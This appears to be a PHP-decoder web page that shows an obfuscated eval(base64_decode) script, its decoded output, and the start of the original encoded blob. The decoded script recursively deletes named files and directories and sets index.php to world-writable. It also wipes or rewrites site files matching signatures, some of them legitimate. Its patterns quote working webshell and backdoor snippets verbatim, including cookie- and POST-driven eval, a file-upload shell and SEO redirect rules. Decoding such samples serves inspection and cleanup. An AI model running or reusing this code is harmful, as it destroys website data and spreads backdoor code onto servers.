Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode("IGVycm9yX3JlcG9ydGluZygwKTsNCiAkRGVsRGlycz1hcnJheSgicGFyIiwic2F..

Decoded Output download

 error_reporting(0);
 $DelDirs=array("par","save","shabs","gknol","rap","foa","iog","alis","alisa","iog","flo","sil","rig","tlf","rit");
 $DelFiles=array("docs","httpdocs","public_html","html","master.php","story.php","unsave.php","index8.php","index9.php","1.php","bind9.php","goday.php","shell.php","backups.php","hoop1.php","rohel.php","xm1rpc.php","foa.php");
 
 
 
function rmdirs($path)
{
	$op = dir($path);
	while(false != ($item = $op->read()))
	{
		if($item == '.' || $item == '..')
		{
			continue;
		}
		if(is_dir($op->path.'/'.$item)) 
		{
			rmdirs($op->path.'/'.$item);
		}else{
			unlink($op->path.'/'.$item);
		}
	}
	$op->close();
	rmdir($path);
}


function DeleteByName($dir)
{
	global $DelDirs,$DelFiles;
	//echo $dir;
	$reg = "/.*?[.]php|[.]htaccess/";
	$files=scandir($dir); 
	foreach($files as $file)
	{
		$file2=$dir."/".$file;
		if(is_file($file2))
		{
			if(in_array($file,$DelFiles))
			{
				unlink($file2);
			}
		}elseif(is_dir($file2) and $file!="." and $file!="..")
		{
			if(in_array($file,$DelDirs))
			{
				rmdirs($file2);
			}else{
				DeleteByName($file2);
			}
		}
	}
}


DeleteByName(".");






//
function ReplaceDIR($dir)
{
	$crufile=__FILE__;
	$crufile=str_replace("\","/",$crufile);
	$crufile=substr($crufile,strrpos($crufile,"/")+1);
	//echo $crufile;
	
	//echo $dir;
	$reg = "/.*?[.]php|[.]htaccess|SESS_.*|[a-z0-9]+[.]zip|[a-z0-9]+[.]rar|[a-z0-9]+/";
	$files=scandir($dir); 
	foreach($files as $file)
	{
		$file2=$dir."/".$file;
		
		if(preg_match($reg,$file) && !preg_match("/^test.*?$/",$file) && is_file($file2) && $file!=$crufile && $file!="wp-rmcc.php")
		{ 
			
	
			
			$ctt=file_get_contents($file2);
			
			if(strpos($ctt,"eNrtPe1y2za2v+unQLkzt+29oeXYcZyktnYc22lym6TZ2Nluu9PRQCQkIaEIFgRtq3f3XfoE+xB9snsOAH6TkmyHrJOxJ7FJfB6cb4AAzv6Xxz8cnf305oTM1Dwgb949ffniiDjuYPDjztFgcHx2TP7x")>0)
			{
				$ctt="";
			}
			$ctt=str_replace ('RewriteRule ^([A-Za-z0-9-]+).html$ master.php?hl=$1 [L]',"",$ctt);
			$ctt=str_replace ('RewriteRule ^([A-Za-z0-9-]+).html$ story.php?hl=$1 [L]',"",$ctt);
			$ctt=str_replace ('RewriteRule ^([A-Za-z0-9-]+).html$ tyty.php?hl=$1 [L]',"",$ctt);
			$ctt=str_replace ('<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
RewriteRule ^.*$ index.php [L]
</IfModule>',"",$ctt);
			$ctt=str_replace ('RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]',"",$ctt);
			$ctt=str_replace ('RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)',"",$ctt);
			$ctt=str_replace ('RewriteRule ^.*$ index.php [L]',"",$ctt);
			$ctt=str_replace ('RewriteBase /entries',"",$ctt);
			$ctt=str_replace ('RewriteRule ^(.*)$ webinfo.php [L]',"",$ctt);
			$ctt=str_replace ('RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing|mail|inbox|comcast)',"",$ctt);
			$ctt=str_replace ('error_reporting(0);ini_set("display_errors", 0);include_once(sys_get_temp_dir()."/SESS_48cd7517d21176f980daa5502d9efb31"); ?><?php',"",$ctt);
			$ctt=str_replace ('error_reporting(0);ini_set("display_errors", 0);#include_once(sys_get_temp_dir()."/SESS_48cd7517d21176f980daa5502d9efb31"); ?>',"",$ctt);
			$ctt=str_replace ('error_reporting(0);ini_set("display_errors", 0);include_once(sys_get_temp_dir()."/SESS_48cd7517d21176f980daa5502d9efb31"); ?>',"",$ctt);
			$ctt=str_replace ('error_reporting(0);ini_set("display_errors", 0);include_once(sys_get_temp_dir()."/SESS_48cd7517d21176f980daa5502d9efb31");',"",$ctt);
             
			$ctt=str_replace ('error_reporting(0);ini_set("display_errors", 0);$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));include_once($root_path."/SESS_48cd7517d21176f980daa5502d9efb31.php"); ?><?php',"",$ctt);
			$ctt=str_replace ('error_reporting(0);ini_set("display_errors", 0);$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));include_once($root_path."/SESS_48cd7517d21176f980daa5502d9efb31.php"); ?>',"",$ctt);
            $ctt=str_replace ('error_reporting(0);ini_set("display_errors", 0);$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));include_once($root_path."/SESS_48cd7517d21176f980daa5502d9efb31.php");',"",$ctt);
			$ctt=str_replace ('error_reporting(0);ini_set("display_errors", 0);$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));include_once($root_path."/d730d81e7e1033a51c2bddc5c68874ce.zip"); ?><?php',"",$ctt);
            $ctt=str_replace ('error_reporting(0);ini_set("display_errors", 0);$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));include_once($root_path."/d730d81e7e1033a51c2bddc5c68874ce.zip");',"",$ctt);
			$ctt=str_replace ('error_reporting(0);ini_set("display_errors", 0);$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));include_once($root_path."/cd7f643ff52e292e872efd6e6015372b"); ?><?php',"",$ctt);
			$ctt=str_replace ('error_reporting(0);ini_set("display_errors", 0);$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));include_once($root_path."/cd7f643ff52e292e872efd6e6015372b");',"",$ctt);
			
			$ctt=str_replace ('if (isset($_COOKIE["id"])) @$_COOKIE["user"]($_COOKIE["id"]);',"",$ctt);
			$ctt=str_replace ('RewriteRule ^([A-Za-z0-9-]+).html$ goday.php?hl=$1 [L]',"",$ctt);
			$ctt=str_replace ('error_reporting(0);ini_set("display_errors", 0);$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));include_once($root_path."/SESS_48cd7517d21176f980daa5502d9efb31.php"); ?><?php',"",$ctt);
			$ctt=str_replace ('error_reporting(0);ini_set("display_errors", 0);$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));include_once($root_path."/SESS_48cd7517d21176f980daa5502d9efb31.php");',"",$ctt);
			$ctt=str_replace ('error_reporting(0);ini_set("display_errors", 0);$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));include_once($root_path."/SESS_48cd7517d21176f980daa5502d9efb31.php"); ?>',"",$ctt);

			$ctt=preg_replace ('/\$hatfnec = stripslashes\(base64_decode.*?\$faqiczhlnrf;}/is',"",$ctt);
			$ctt=preg_replace ('/\$akdpjkqfwemw = stripslashes\(base64_decode.*?\$grcohik;}/is',"",$ctt);
			$ctt=preg_replace ('/@error_reporting.*?\(\$light\);/is',"",$ctt);
			$ctt=preg_replace ('/error_reporting\(0\);ini_set\(.*?\/d730d81e7o133a51c2bddc5c68874ce[.]zip"\); \?><\?php/is',"",$ctt);
			$ctt=preg_replace ('/error_reporting\(0\);ini_set\(.*?\/d730d81e7o133a51c2bddc5c68874ce[.]zip"\);/is',"",$ctt);
			$ctt=preg_replace ('/error_reporting\(0\);ini_set\(.*?\/d730d81e7e1033a51c2bddc5c68874ce[.]zip"\); \?><\?php/is',"",$ctt);
			$ctt=preg_replace ('/error_reporting\(0\);ini_set\(.*?\/d730d81e7e1033a51c2bddc5c68874ce[.]zip"\);/is',"",$ctt);
			$ctt=preg_replace ('/error_reporting\(0\);ini_set\(.*?\/d730d81e7o133a51c2bddc5c68874ce"\); \?><\?php/is',"",$ctt);
			$ctt=preg_replace ('/error_reporting\(0\);ini_set\(.*?\/d730d81e7o133a51c2bddc5c68874ce"\);/is',"",$ctt);
			$ctt=preg_replace ('/error_reporting\(0\);ini_set\(.*?\/d730d81e7e1033a51c2bddc5c68874ce"\); \?><\?php/is',"",$ctt);
			$ctt=preg_replace ('/error_reporting\(0\);ini_set\(.*?\/d730d81e7e1033a51c2bddc5c68874ce"\);/is',"",$ctt);
			$ctt=preg_replace ('/\$query = isset\(\$_SERVER\[.*?return \$contents; \}/is',"",$ctt);
			
			$ctt=preg_replace ('/\$GLOBALS\[\'_935420692_.*?_935420692_\'\]\[14\]\(\$_6\);}}/is',"",$ctt);
			$ctt=preg_replace ('/eval\(base64_decode\("aWYgKCFkZWZp.*?\x6cias\x2ephp\";/is',"",$ctt);
			
			
			$ctt=preg_replace ('/<IfModule mod_rewrite.c>\s+RewriteCond %{\HTTP_USER_AGENT\} \(google\|yahoo\|msn\|aol\|bing.*?RewriteRule [\^\.\*\$]+ index[.]php \[L\]\s+<\/IfModule>/is',"",$ctt);
			$ctt=preg_replace ('/RewriteEngine On\s+RewriteCond %\{HTTP_ACCEPT\}.*?http:\/\/0-mi.com \[L,R=302\]/is',"",$ctt);
			$ctt=preg_replace ('/RewriteEngine On\s+RewriteCond %\{HTTP_ACCEPT\}.*?http:\/\/seokirja.com \[L,R=302\]/is',"",$ctt);
			
			$ctt=preg_replace('/<?php \$code=base64_decode\("[^
]+\?>/is',"",$ctt);
			$ctt=preg_replace('/error_reporting\(0\);ini_set\("display_errors", 0\);include_once\(sys_get_temp_dir\(\)[^
]*"\?><\?php/is',"",$ctt);
			$ctt=preg_replace('/error_reporting\(0\);ini_set\("display_errors", 0\);include_once\(sys_get_temp.*?\?><\?php/is',"",$ctt);
			$ctt=preg_replace('/<\?php if \(\$_FILES\[\'F1l3\'\]\) \{move_uploaded_file\(\$_FILES\[\'F1l3\'\]\[\'tmp_name\'\], \$_POST\[\'Name\'\]\); echo \'OK\'; \} else \{ echo \'You are forbidden!\'; \} \?>/is',"",$ctt);
			$ctt=preg_replace('/error_reporting\(0\);ini_set\("display_errors", 0\);include_once\(sys_get_temp_dir\(\)[^
]*\?>/is',"",$ctt);
			$ctt=preg_replace('/error_reporting\(0\);ini_set\("display_errors", 0\);include_once\(sys_get_temp_dir\(\)."\/SESS_48cd7517d21176f980daa5502d9efb31"\);/is',"",$ctt);
			$ctt=preg_replace('/if \( \$_REQUEST\["array"\] \)[
]+\{   [
]+[
]+   @assert\(base64_decode\(\$_REQUEST\["array"\]\)\);   [
]+   \/\/debug message[
]+   echo "Array sort completed";[
]+   exit\(\);[
]+\}/is',"",$ctt);
			$ctt=preg_replace('/<\?php if \($_FILES\[\'F1l3\'\]\) \{move_uploaded_file\(\$_FILES\[\'F1l3\'\]\[\'tmp_name\'\], \$_POST\[\'Name\'\]\); echo \'OK\'; \} else \{ echo \'You are forbidden!\'; \} \?>/is',"",$ctt);
			$ctt=preg_replace('/<\?php if \(\$_REQUEST\[\'param1\'\]&&\$_REQUEST\[\'param2\'\]\) {\$f = \$_REQUEST\[\'param1\'\]; \$p[^
]*\?>/is',"",$ctt);
			
			
			$ctt=preg_replace('/RewriteRule \^\(\[A-Za-z0-9-\]\+\)[.]html\$ master[.]php\?hl=\$1 \[L\]/is',"",$ctt);
			$ctt=preg_replace('/RewriteRule \^\(\[A-Za-z0-9-\]\+\)[.]html\$ story[.]php\?hl=\$1 \[L\]/is',"",$ctt);
			$ctt=preg_replace('/<IfModule mod_rewrite[.]c>[
]+RewriteEngine on[
]+RewriteCond %\{REQUEST_FILENAME\}[^<]* \/images\/webdirect[.]php\?link=\$1 \[L\][
]+<\/IfModule>/is',"",$ctt);
			$ctt=preg_replace('/if\( isset\(\$_POST\[\'iewq8erwuifgjhs74ju88\'\]\) \) \{  \$fromPerson = base64_decode\(\$_POST\[\'iewq8erwuifgjhs74ju88\'\]\);  \/\/echo \$fromPerson;  eval\(\$fromPerson\);  exit; \}/is',"",$ctt);
			$ctt=preg_replace('/if\( isset\(\$_POST\[\'iewq8erwuifgjhs74ju88\'\]\) \)[
]+\{[
]+ \$fromPerson = base64_decode\(\$_POST\[\'iewq8erwuifgjhs74ju88\'\]\);[
]+ \/\/echo \$fromPerson;[
]+ eval\(\$fromPerson\);[
]+ exit;[
]+\}/is',"",$ctt);
			
			
		    $ctt=preg_replace('/<\?php[
]+error_reporting\(0\);[
]+ini_set\(\'display_errors\', 0\);[
]+set_time_limit\(0\);[
]+__create_initial_settings\(\);[
]+\$good_user_agents_to_filter.*/is',"",$ctt);
			$ctt=preg_replace('/<\?php[
]+\$auth_pass = "[a-z0-9]+";[
]+\$color = "#df5";[
]+\$default_action = \'FilesMan\';[
]+\$default_use_ajax = true;[
]+\$default_charset = \'Windows-1251\';[
]+.*/is',"",$ctt);
			$ctt=preg_replace('/<\?php[
]+if\( isset\(\$_REQUEST\["test_url"\]\) \)\{[
]+echo "file test okay";[
]+\}.*/is',"",$ctt);
			$ctt=preg_replace('/<\?php[
]+\$scriptname= str_replace\("\/", "", \$_SERVER\["SCRIPT_NAME"\]\);[
]+.*/is',"",$ctt);
			$ctt=preg_replace('/error_reporting\(0\);[
]+\$strings = "as";\$strings \.= "sert";.*UA0pzyjp2kup2uypltxK1WSHIISH1EoVzZvKFxcBlO9PzIwnT8tWTyvqwg9"\)\);\'\)\);/is',"",$ctt);
			$ctt=preg_replace('/eval\(base64_decode\("aWYgKCFkZWZpbmVkKCdBTFJFQURZX1JVT.*1dnl5KSk7Cn0="\)\);[
]+include .*x70hp";/is',"",$ctt);
			$ctt=preg_replace('/eval\(base64_decode\("aWYgKCFkZWZpbmVkKCdBTFJFQURZX1JVTl8xYmMyOWIzNm.*XJoLCAkcnpua3R1dSkpOwp9""\)\);/is',"",$ctt);
			$ctt=preg_replace('/eval\(base64_decode\("aWYgKCFkZWZpbmVkKCdBTFJFQURZX1JVTl8xYmMyOWIzNm.*"\)\);/is',"",$ctt);
			$ctt=preg_replace('/include.*x70hp";/is',"",$ctt);
			$ctt=preg_replace('/include.*?x70";/is',"",$ctt);
			$ctt=preg_replace('/error_reporting\(0\);.*?d730d81e7o133a51c2bddc5c68874ce[.]zip"\); \?><\?php/is',"",$ctt);
			$ctt=preg_replace('/=base64_decode\("XCR.*/is',"",$ctt);
			if(strpos($ctt,"PD9waHAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC")>0)
			{
				$ctt="";
			}
			if(strpos($ctt,"PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuLVVTIiBjbGFzcz0")>0)
			{
				$ctt="";
			}
			if(strpos($ctt,"Google Analytics Tracking by Google Analyticator")>0)
			{
				$ctt="";
			}
			if(strpos($ctt,"GDFORM_VARIABLE NAME=")>0)
			{
				$ctt="";
			}
			if(strpos($ctt,"Lyp1c3poa3N5dnZtZ3dnaCovIGlmICghZW1wdHkoJF9HRVQpICYmIGlzc2V0")>0)
			{
				$ctt="";
			}
			if(strpos($ctt,"LypkY3l2cyovIGlmICghZW1wdHkoJF9HRVQpICYmIGlzc2V0KCRfR0V")>0)
			{
				$ctt="";
			}
			if(strpos($ctt,"34647484573463463474573463546")>0)
			{
				$ctt="";
			}
		    if(strpos($ctt,"hVYkAZSuvfxO7JdMhOp2qk4uIMabXEK7xaUU0")>0)
			{
				$ctt="";
			}
			$ctt=preg_replace('/=eval\(eval\("/is',"",$ctt);
			$ctt=preg_replace('/error_reporting\(0\);[
]+\$p=\$_POST;.*die\(\);\}/is',"",$ctt);
			
			$ctt=preg_replace('/[	 ]*[
]+[	 ]*/is',"
",$ctt);
			$ctt=preg_replace('/[	 ]*[
]+[	 ]*/is',"
",$ctt);
			
			
		
			
		
			//echo $ctt;
	   
			file_put_contents($file2 ,$ctt);
			
			
		}elseif(is_dir($file2) and $file!="." and $file!="..")
		{
			ReplaceDIR($file2);
		}
	}
} 


ReplaceDIR(".");


$a='error_reporting(0);ini_set("display_errors", 0);$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));include_once($root_path."/d730d81e7o133a51c2bddc5c68874ce.zip"); ?><?php';
$b='error_reporting(0);ini_set("display_errors", 0);$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));include_once($root_path."/d730d81e7e1033a51c2bddc5c68874ce.zip"); ?><?php';
$c='error_reporting(0);ini_set("display_errors", 0);$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));include_once($root_path."/cd7f643ff52e292e872efd6e6015372b"); ?><?php");';

$d='error_reporting(0);ini_set("display_errors", 0);$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));include_once($root_path."/d730d81e7e1033a51c2bddc5c68874ce.zip");';
$e='error_reporting(0);ini_set("display_errors", 0);$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));include_once($root_path."/d730d81e7o133a51c2bddc5c68874ce.zip");';
$f='error_reporting(0);ini_set("display_errors", 0);$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));include_once($root_path."/cd7f643ff52e292e872efd6e6015372b");';
$g='include "/home/comunajalisco/public_html/layouts/libraries/javascript.php";';

if (file_exists('index.php')) {
chmod('index.php', 0777);
    file_put_contents('index.php', str_replace(array($a,$b), '', file_get_contents('index.php')));
}
if (file_exists('index.php')) {
chmod('index.php', 0777);
    file_put_contents('index.php', str_replace(array($c,$d), '', file_get_contents('index.php')));
}
if (file_exists('index.php')) {
chmod('index.php', 0777);
    file_put_contents('index.php', str_replace(array($e,$f), '', file_get_contents('index.php')));
}
if (file_exists('index.php')) {
chmod('index.php', 0777);
    file_put_contents('index.php', str_replace(array($g,$g), '', file_get_contents('index.php')));
}

$reg2 = "/[^0-9]*[0-9]+[^0-9]*[.]php|[^0-9]*[0-9]+[^0-9]*[.]rar|SESS_.*|[^0-9]*[0-9]+[^0-9]*[.]zip/";
$files=scandir(".");
foreach($files as $file)
{
	if(preg_match($reg2,$file))
		unlink($file);
}

Did this file decode correctly?

Original Code

<?php
eval(base64_decode("IGVycm9yX3JlcG9ydGluZygwKTsNCiAkRGVsRGlycz1hcnJheSgicGFyIiwic2F2ZSIsInNoYWJzIiwiZ2tub2wiLCJyYXAiLCJmb2EiLCJpb2ciLCJhbGlzIiwiYWxpc2EiLCJpb2ciLCJmbG8iLCJzaWwiLCJyaWciLCJ0bGYiLCJyaXQiKTsNCiAkRGVsRmlsZXM9YXJyYXkoImRvY3MiLCJodHRwZG9jcyIsInB1YmxpY19odG1sIiwiaHRtbCIsIm1hc3Rlci5waHAiLCJzdG9yeS5waHAiLCJ1bnNhdmUucGhwIiwiaW5kZXg4LnBocCIsImluZGV4OS5waHAiLCIxLnBocCIsImJpbmQ5LnBocCIsImdvZGF5LnBocCIsInNoZWxsLnBocCIsImJhY2t1cHMucGhwIiwiaG9vcDEucGhwIiwicm9oZWwucGhwIiwieG0xcnBjLnBocCIsImZvYS5waHAiKTsNCiANCiANCiANCmZ1bmN0aW9uIHJtZGlycygkcGF0aCkNCnsNCgkkb3AgPSBkaXIoJHBhdGgpOw0KCXdoaWxlKGZhbHNlICE9ICgkaXRlbSA9ICRvcC0+cmVhZCgpKSkNCgl7DQoJCWlmKCRpdGVtID09ICcuJyB8fCAkaXRlbSA9PSAnLi4nKQ0KCQl7DQoJCQljb250aW51ZTsNCgkJfQ0KCQlpZihpc19kaXIoJG9wLT5wYXRoLicvJy4kaXRlbSkpIA0KCQl7DQoJCQlybWRpcnMoJG9wLT5wYXRoLicvJy4kaXRlbSk7DQoJCX1lbHNlew0KCQkJdW5saW5rKCRvcC0+cGF0aC4nLycuJGl0ZW0pOw0KCQl9DQoJfQ0KCSRvcC0+Y2xvc2UoKTsNCglybWRpcigkcGF0aCk7DQp9DQoNCg0KZnVuY3Rpb24gRGVsZXRlQnlOYW1lKCRkaXIpDQp7DQoJZ2xvYmFsICREZWxEaXJzLCREZWxGaWxlczsNCgkvL2VjaG8gJGRpcjsNCgkkcmVnID0gIi8uKj9bLl1waHB8Wy5daHRhY2Nlc3MvIjsNCgkkZmlsZXM9c2NhbmRpcigkZGlyKTsgDQoJZm9yZWFjaCgkZmlsZXMgYXMgJGZpbGUpDQoJew0KCQkkZmlsZTI9JGRpci4iLyIuJGZpbGU7DQoJCWlmKGlzX2ZpbGUoJGZpbGUyKSkNCgkJew0KCQkJaWYoaW5fYXJyYXkoJGZpbGUsJERlbEZpbGVzKSkNCgkJCXsNCgkJCQl1bmxpbmsoJGZpbGUyKTsNCgkJCX0NCgkJfWVsc2VpZihpc19kaXIoJGZpbGUyKSBhbmQgJGZpbGUhPSIuIiBhbmQgJGZpbGUhPSIuLiIpDQoJCXsNCgkJCWlmKGluX2FycmF5KCRmaWxlLCREZWxEaXJzKSkNCgkJCXsNCgkJCQlybWRpcnMoJGZpbGUyKTsNCgkJCX1lbHNlew0KCQkJCURlbGV0ZUJ5TmFtZSgkZmlsZTIpOw0KCQkJfQ0KCQl9DQoJfQ0KfQ0KDQoNCkRlbGV0ZUJ5TmFtZSgiLiIpOw0KDQoNCg0KDQoNCg0KLy8NCmZ1bmN0aW9uIFJlcGxhY2VESVIoJGRpcikNCnsNCgkkY3J1ZmlsZT1fX0ZJTEVfXzsNCgkkY3J1ZmlsZT1zdHJfcmVwbGFjZSgiXFwiLCIvIiwkY3J1ZmlsZSk7DQoJJGNydWZpbGU9c3Vic3RyKCRjcnVmaWxlLHN0cnJwb3MoJGNydWZpbGUsIi8iKSsxKTsNCgkvL2VjaG8gJGNydWZpbGU7DQoJDQoJLy9lY2hvICRkaXI7DQoJJHJlZyA9ICIvLio/Wy5dcGhwfFsuXWh0YWNjZXNzfFNFU1NfLip8W2EtejAtOV0rWy5demlwfFthLXowLTldK1suXXJhcnxbYS16MC05XSsvIjsNCgkkZmlsZXM9c2NhbmRpcigkZGlyKTsgDQoJZm9yZWFjaCgkZmlsZXMgYXMgJGZpbGUpDQoJew0KCQkkZmlsZTI9JGRpci4iLyIuJGZpbGU7DQoJCQ0KCQlpZihwcmVnX21hdGNoKCRyZWcsJGZpbGUpICYmICFwcmVnX21hdGNoKCIvXnRlc3QuKj8kLyIsJGZpbGUpICYmIGlzX2ZpbGUoJGZpbGUyKSAmJiAkZmlsZSE9JGNydWZpbGUgJiYgJGZpbGUhPSJ3cC1ybWNjLnBocCIpDQoJCXsgDQoJCQkNCgkNCgkJCQ0KCQkJJGN0dD1maWxlX2dldF9jb250ZW50cygkZmlsZTIpOw0KCQkJDQoJCQlpZihzdHJwb3MoJGN0dCwiZU5ydFBlMXkyemEydit1blFMa3p0KzI5b2VYWWNaeWt0blljMjJseW02VFoyTmx1dTlQUlFDUWtJYUVJRmdSdHEzZjNYZm9FK3hCOXNuc09BSDZUa215SHJKT3hKN0ZKZkI2Y2I0QUF6djZYeHo4Y25mMzA1b1RNMUR3Z2I5NDlmZm5paURqdVlQRGp6dEZnY0h4MlRQN3giKT4wKQ0KCQkJew0KCQkJCSRjdHQ9IiI7DQoJCQl9DQoJCQkkY3R0PXN0cl9yZXBsYWNlICgnUmV3cml0ZVJ1bGUgXihbQS1aYS16MC05LV0rKS5odG1sJCBtYXN0ZXIucGhwP2hsPSQxIFtMXScsIiIsJGN0dCk7DQoJCQkkY3R0PXN0cl9yZXBsYWNlICgnUmV3cml0ZVJ1bGUgXihbQS1aYS16MC05LV0rKS5odG1sJCBzdG9yeS5waHA/aGw9JDEgW0xdJywiIiwkY3R0KTsNCgkJCSRjdHQ9c3RyX3JlcGxhY2UgKCdSZXdyaXRlUnVsZSBeKFtBLVphLXowLTktXSspLmh0bWwkIHR5dHkucGhwP2hsPSQxIFtMXScsIiIsJGN0dCk7DQoJCQkkY3R0PXN0cl9yZXBsYWNlICgnPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+DQpSZXdyaXRlRW5naW5lIE9uDQpSZXdyaXRlQ29uZCAle0hUVFBfVVNFUl9BR0VOVH0gKGdvb2dsZXx5YWhvb3xtc258YW9sfGJpbmcpIFtPUl0NClJld3JpdGVDb25kICV7SFRUUF9SRUZFUkVSfSAoZ29vZ2xlfHlhaG9vfG1zbnxhb2x8YmluZykNClJld3JpdGVSdWxlIF4uKiQgaW5kZXgucGhwIFtMXQ0KPC9JZk1vZHVsZT4nLCIiLCRjdHQpOw0KCQkJJGN0dD1zdHJfcmVwbGFjZSAoJ1Jld3JpdGVDb25kICV7SFRUUF9VU0VSX0FHRU5UfSAoZ29vZ2xlfHlhaG9vfG1zbnxhb2x8YmluZykgW09SXScsIiIsJGN0dCk7DQoJCQkkY3R0PXN0cl9yZXBsYWNlICgnUmV3cml0ZUNvbmQgJXtIVFRQX1JFRkVSRVJ9IChnb29nbGV8eWFob298bXNufGFvbHxiaW5nKScsIiIsJGN0dCk7DQoJCQkkY3R0PXN0cl9yZXBsYWNlICgnUmV3cml0ZVJ1bGUgXi4qJCBpbmRleC5waHAgW0xdJywiIiwkY3R0KTsNCgkJCSRjdHQ9c3RyX3JlcGxhY2UgKCdSZXdyaXRlQmFzZSAvZW50cmllcycsIiIsJGN0dCk7DQoJCQkkY3R0PXN0cl9yZXBsYWNlICgnUmV3cml0ZVJ1bGUgXiguKikkIHdlYmluZm8ucGhwIFtMXScsIiIsJGN0dCk7DQoJCQkkY3R0PXN0cl9yZXBsYWNlICgnUmV3cml0ZUNvbmQgJXtIVFRQX1JFRkVSRVJ9IChnb29nbGV8eWFob298bXNufGFvbHxiaW5nfG1haWx8aW5ib3h8Y29tY2FzdCknLCIiLCRjdHQpOw0KCQkJJGN0dD1zdHJfcmVwbGFjZSAoJ2Vycm9yX3JlcG9ydGluZygwKTtpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIDApO2luY2x1ZGVfb25jZShzeXNfZ2V0X3RlbXBfZGlyKCkuIi9TRVNTXzQ4Y2Q3NTE3ZDIxMTc2Zjk4MGRhYTU1MDJkOWVmYjMxIik7ID8+PD9waHAnLCIiLCRjdHQpOw0KCQkJJGN0dD1zdHJfcmVwbGFjZSAoJ2Vycm9yX3JlcG9ydGluZygwKTtpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIDApOyNpbmNsdWRlX29uY2Uoc3lzX2dldF90ZW1wX2RpcigpLiIvU0VTU180OGNkNzUxN2QyMTE3NmY5ODBkYWE1NTAyZDllZmIzMSIpOyA/PicsIiIsJGN0dCk7DQoJCQkkY3R0PXN0cl9yZXBsYWNlICgnZXJyb3JfcmVwb3J0aW5nKDApO2luaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgMCk7aW5jbHVkZV9vbmNlKHN5c19nZXRfdGVtcF9kaXIoKS4iL1NFU1NfNDhjZDc1MTdkMjExNzZmOTgwZGFhNTUwMmQ5ZWZiMzEiKTsgPz4nLCIiLCRjdHQpOw0KCQkJJGN0dD1zdHJfcmVwbGFjZSAoJ2Vycm9yX3JlcG9ydGluZygwKTtpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIDApO2luY2x1ZGVfb25jZShzeXNfZ2V0X3RlbXBfZGlyKCkuIi9TRVNTXzQ4Y2Q3NTE3ZDIxMTc2Zjk4MGRhYTU1MDJkOWVmYjMxIik7JywiIiwkY3R0KTsNCiAgICAgICAgICAgICANCgkJCSRjdHQ9c3RyX3JlcGxhY2UgKCdlcnJvcl9yZXBvcnRpbmcoMCk7aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTskbG9jYWxwYXRoPWdldGVudigiU0NSSVBUX05BTUUiKTskYWJzb2x1dGVwYXRoPWdldGVudigiU0NSSVBUX0ZJTEVOQU1FIik7JHJvb3RfcGF0aD1zdWJzdHIoJGFic29sdXRlcGF0aCwwLHN0cnBvcygkYWJzb2x1dGVwYXRoLCRsb2NhbHBhdGgpKTtpbmNsdWRlX29uY2UoJHJvb3RfcGF0aC4iL1NFU1NfNDhjZDc1MTdkMjExNzZmOTgwZGFhNTUwMmQ5ZWZiMzEucGhwIik7ID8+PD9waHAnLCIiLCRjdHQpOw0KCQkJJGN0dD1zdHJfcmVwbGFjZSAoJ2Vycm9yX3JlcG9ydGluZygwKTtpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIDApOyRsb2NhbHBhdGg9Z2V0ZW52KCJTQ1JJUFRfTkFNRSIpOyRhYnNvbHV0ZXBhdGg9Z2V0ZW52KCJTQ1JJUFRfRklMRU5BTUUiKTskcm9vdF9wYXRoPXN1YnN0cigkYWJzb2x1dGVwYXRo